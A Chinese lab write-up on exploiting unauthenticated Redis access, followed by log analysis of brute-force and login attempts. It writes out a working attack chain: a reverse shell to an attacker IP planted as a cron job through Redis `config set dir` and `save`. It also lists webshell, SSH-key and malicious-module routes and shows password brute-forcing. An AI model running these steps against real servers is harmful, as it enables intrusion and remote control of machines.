redis未授权访问漏洞利用+redis日志分析

news2024/11/24 12:27:13

redis未授权访问漏洞利用+redis日志分析

redis未授权访问

远程连接redis

kali: redis-cli -h IP

redis常用语句

set key “value” 设置键值对

get key 获得值

incr intkey 数字类型值加1

keys * 获取当前数据库中所有的键

config set dir /home/test 设置工作目录

config set dbfilename redis.rdb 设置备份文件名

config get dir 查看工作目录

config get dbfilemane 查看备份文件名

save 进行一次操作的备份

flushall 删除所有数据

del key 删除键为key的数据

redis未授权访问利用方法

  1. 设置目录》写入一句话木马》保存到备份文件(写在网站目录下)
  2. 或者搞个定时任务反弹shell
  3. 或者直接写公钥(ssh直接冲!)
  4. 最后redis4.x之后可以通过c语言编译并加载恶意的.so文件(主从复制)

第一种利用方法

需要服务器开启web服务,使用redis数据备份功能结合web服务向网站根目录写入一句话木马从而得到网站的webshell

需要写入权限

第二种利用方法

通过redis数据备份写定时任务,通过定时任务反弹shell

需要root权限

第三种利用方法

通过redis数据备份功能写SSH公钥,实现免密登录linux服务器

需要root权限

安装redis客户端

下载: wget http://download.redis.io/releases/redis-2.8.17.tar.gz

解压: tar xzvf redis-2.8.17.tar.gz

进入目录: cd redis-2.8.17.tar.gz

编译: mack

进入src目录: cd src

将redis-cli复制到/usr/bin目录下:cp redis-cli /usr/bin/

将redis-server复制到/usr/bin目录下:cp redis-server /usr/bin/

开启redis服务

回到/redis-2.8.17.tar.gz目录下

redis-server redis.conf

image-20230522165245512

攻击机kali安装redis

和centos一样

反弹shell

这里试着写个定时任务反弹shell

测试连接

靶机ip:192.168.27.192

攻击机ip:192.168.27.129

redis-cli -h 192.168.27.192

image-20230522170056514

连接成功

写一个反弹shell

sh -i >& /dev/tcp/192.168.27.128/8023 0>&1

改成定时任务的格式

*/1 * * * * sh -i >& /dev/tcp/192.168.27.129/8023 0>&1

写入定时任务

先监听一下8023端口

nc -lvvp 8023

写入定时任务

set x “\n\n*/1 * * * * sh -i >& /dev/tcp/192.168.27.129/8023 0>&1 \n\n”

config set dbfilename root

config set dir /var/spool/cron

save

image-20230522170518711

等待漫长的一分钟

image-20230522170631107

拿到shell

日志审计

爆破redis密码

使用工具超级弱口令检查工具

image-20230522171849948

因为没有密码,所以任意密码可登陆,跑出来个qwerty

接下来给redis加上密码,admin123

关闭redis服务,gedit redis.conf 找到requirepass,把注释符去掉,密码改为admin123 保存退出

再次开启redis服务

image-20230522172025911

使用kali再连接一下试试

image-20230522172227477

需要密码了!

接着爆破

image-20230522172308768

搞出来啦!

用kali尝试一下

image-20230522172501825

成功

日志

image-20230522173118307

这里将日志保存到文件/tmp/log/redis.log,将notice换为debug模式

再tmp目录下mkdir log

然后再启动redis服务

下面继续爆破,然后查看日志

image-20230522173952782

可以看到大量的请求,但是看不出来是攻击,ip为192.168.27.191(windows)

image-20230522174053969

用kali去连接,然后随意操作一下

image-20230522174547391

看不到操作的内容

升级高版本redis!

wget https://github.com/redis/redis/archive/refs/tags/7.2-rc2.zip

后续操作同前面

将redis-server 移动到/usr/bin/

cp redis-server /usr/bin/redis-server2

使用redis-server2启动redis服务

image-20230522180143363

可以启动,然后修改一下redis.conf

image-20230522180331238

image-20230522180633275

将只允许本地连接注释掉,保护模式关掉,然后保存一下,再启动redis服务,再使用kali连接一下

image-20230522180735806

再向上面一样配置一下日志和密码,然后用kali登陆成功一下,失败一下看看日志

成功的日志如下

image-20230522182302013

登陆失败日志

image-20230522182600158

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/555446.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

VMware ESXi 6.5 U3 Final - ESXi 6 系列最终版下载

VMware ESXi 6.5 U3 Final - ESXi 6 系列最终版下载 VMware ESXi 6 Standard 请访问原文链接:https://sysin.org/blog/vmware-esxi-6/,查看最新版。原创作品,转载请保留出处。 作者主页:sysin.org VersionRelease NameRelease …

weblogic CVE-2014-4210 SSRF漏洞

CVE-2014-4210 SSRF漏洞 Weblogic 中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而可以攻击内网中Redis、Fastcgi等脆弱组件 该漏洞存在于/uddiexplorer/SearchPublicRegistries.jsp SSRF:服务端请求伪造,伪造存在该漏洞…

Spring : XML配置 JavaBean源码解析

文章目录 前言一、xml 加载 Bean 对象总结XML加载Bean对象 前言 跟着大佬走!!!! https://github.com/DerekYRC/mini-spring 提示:以下是本篇文章正文内容,下面案例可供参考 一、xml 加载 Bean 对象 大家先…

企业型OV,增强型EV证书开通审核流程

选购 OV、EV型证书需要是企业用户,申请过程中需要提交企业资料。 选择证书品牌及型号 管理中心补全审核资料 下载“确认函”签字盖章并扫描,再上传。 审核部门联系确认企业信息,(过需要7-10个工作日) 审核通过&…

单商户高级版商城系统v2.3.0更新啦~

​likeshop单商户高级版商城系统更新至v2.3.0版本~主要更新内容如下: 新增 商品增加限购功能 小程序新版本更新提示 商品分类创建后可以显示该分类下有多少商品 积分商品列表新增封面图 商品支持批量移动分类 后台产品正版检测 优化 分销功能关闭时&#xff…

网络安全 2023 年为什么如此吃香?事实原来是这样....

前言 “没有网络安全就没有国家安全”。当前,网络安全已被提升到国家战略的高度,成为影响国家安全、社会稳定至关重要的因素之一。 网络安全行业特点 1、就业薪资非常高,涨薪快 2021年猎聘网发布网络安全行业就业薪资行业最高人均33.77万…

机器学习基础知识之预测性能评价指标

文章目录 预测性能评价思路1、均方误差(Mean Square Error,MSE)2、均方根误差(Root Mean Square Error,RMSE)3、平均绝对误差(Mean Absolute Error,MAE)4、平均绝对百分比…

多线程-线程创建方式1:继承Thread类

线程创建方式1:继承Thread类 概述 Java语言的JVM允许程序运行多个线程,使用java.lang.Thread类代表线程,所有的线程对象都必须是Thread类或其子类的实例。Thread类的特性 每个线程都是通过某个特定Thread对象的run()方法来完成操作的&#…

LeetCode:1049.最后一块石头的重量II 494.目标和 474.一和零

1049.最后一块石头的重量II 题目 有一堆石头&#xff0c;用整数数组 stones 表示。其中 stones[i] 表示第 i 块石头的重量。 每一回合&#xff0c;从中选出任意两块石头&#xff0c;然后将它们一起粉碎。假设石头的重量分别为 x 和 y&#xff0c;且 x < y。那么粉碎的可能…

pygam第5课——自制音乐播放器

前言&#xff1a;前几节课我们已经学会了很多知识点&#xff0c;欢迎大家可以去考古一下 今天我们将学习加载音乐&#xff0c;并且自制一个音乐播放器&#xff0c;界面功能包括&#xff1a; 加载背景封面上一首开始\暂停下一首重播随机播放快进 效果展示(GIF所以你们听不到声…

day6 广播及实现

什么是广播 数据包发送方式只有一个接受方&#xff0c;称为单播 如果同时发给局域网中的所有主机&#xff0c;称为广播 只有用户数据报(使用UDP协议)套接字才能广播 广播地址&#xff1a; 一个网络内主机号全为1的IP地址为广播地址 发到该地址的数据包被所有的主机接收 255…

MT6833(天玑 700)处理器参数_芯片规格_性能介绍

MT6833&#xff08;天玑700&#xff09;是一款出色的基带处理器&#xff0c;具有许多优秀的功能&#xff0c;并且采用了强大的八核CPU&#xff0c;其中包括两个主频高达2.2GHz的Arm Cortex-A76核心。此外&#xff0c;他还配备了LPDDR4X内存和UFS 2.2存储&#xff0c;大大提高了…

MyBatis中的#{}和${}有什么区别?

首先#{} 和 ${} 都是参数占位符&#xff0c;其中#{}是预编译处理&#xff0c;${}是字符直接进行替换。预编译处理是指&#xff1a;MyBatis 在处理#{}时&#xff0c;会将 SQL 中的 #{} 替换为?号&#xff0c;使⽤ PreparedStatement 的 set ⽅法来赋值。直接替换是指MyBatis 在…

【谷粒商城笔记】2. 创建项目与运行

1. 创建微服务项目 共分为下面五个 商品服务product 存储服务ware 订单服务order 优惠券服务coupon 用户服务member 1.1 新建github/gitee项目 首先去github新建项目 在IDEA中导入项目 从版本控制(Version Control)新建Project 选择路径和git链接 1.2 创建微服务 新建…

modscan模拟数据,nodred通过modbus协议向emqx创建规则引擎写入TDengine库

nodred通过modbus协议向emqx创建规则引擎写入TDengine库过程 一、emqx存储数据到TDEngine数据库1.1 进入emqx界面1.2 新建资源1.3 新建规则引擎1.4 测试 二、modscan模拟设备数据三、在Node-RED上模拟Modbus通讯3.1 nodeRed环境搭建3.2 nodeRed使用3.3 nodered读取modbus发送的…

Firewalld

目录 firewalld概述 firewalld 与 iptables 的区别 firewalld 区域的概念 firewalld防火墙预定义了9个区域 firewalld数据处理流程 firewalld检查数据包的源地址的规则 firewalld防火墙的配置方法 常用的firewall-cmd 命令选项 区域管理 服务管理 ​编辑端口管理 设…

创建项目执行计划的5个简单步骤

项目执行计划是定义项目将如何执行的文件。执行计划解释项目中涉及的战略目标和步骤&#xff0c;定义项目完成时间表&#xff0c;并列出成功项目所需的资源&#xff08;包括团队成员&#xff09;。 使用项目计划是多种项目管理最佳实践之一。这个过程并不像看起来那么复杂。按…

读财报丨产品收入增长近70%,百济神州已成功切换成长驱动模式?

5月12日&#xff0c;百济神州&#xff08;北京&#xff09;生物科技有限公司&#xff08;下称“百济神州”&#xff09;公布2023年第一季度业绩报告。从数据来看&#xff0c;延续了2022年的良好增长态势&#xff0c;实现营业收入30.66亿元&#xff0c;同比增长57%&#xff0c;而…

unity实现小球poke不穿膜

引言 在oculus quest2官方实现了手部指尖poke按键不穿膜&#xff0c;具体采用代码的方式进行限制&#xff0c;具体看oculus quest包中的HandPokeLimiterVisual.cs&#xff0c;下面则实现其他物体&#xff08;小球&#xff09;作为pokeInteractor来poke按键&#xff0c;当按下的…

Linux网络——shell编程之SNAT与DNAT的应用

Linux网络——shell编程之SNAT与DNAT的应用 一、SNAT的介绍1.SNAT概述2.SNAT源地址转换过程 二、SNAT转换三、DNAT的介绍1.DNAT概述2.DNAT转换前提条件 四、DNAT的转换五、防火墙规则的备份和还原六、tcpdump抓包工具的运用 一、SNAT的介绍 SNAT&#xff08;SNAT&#xff09;一…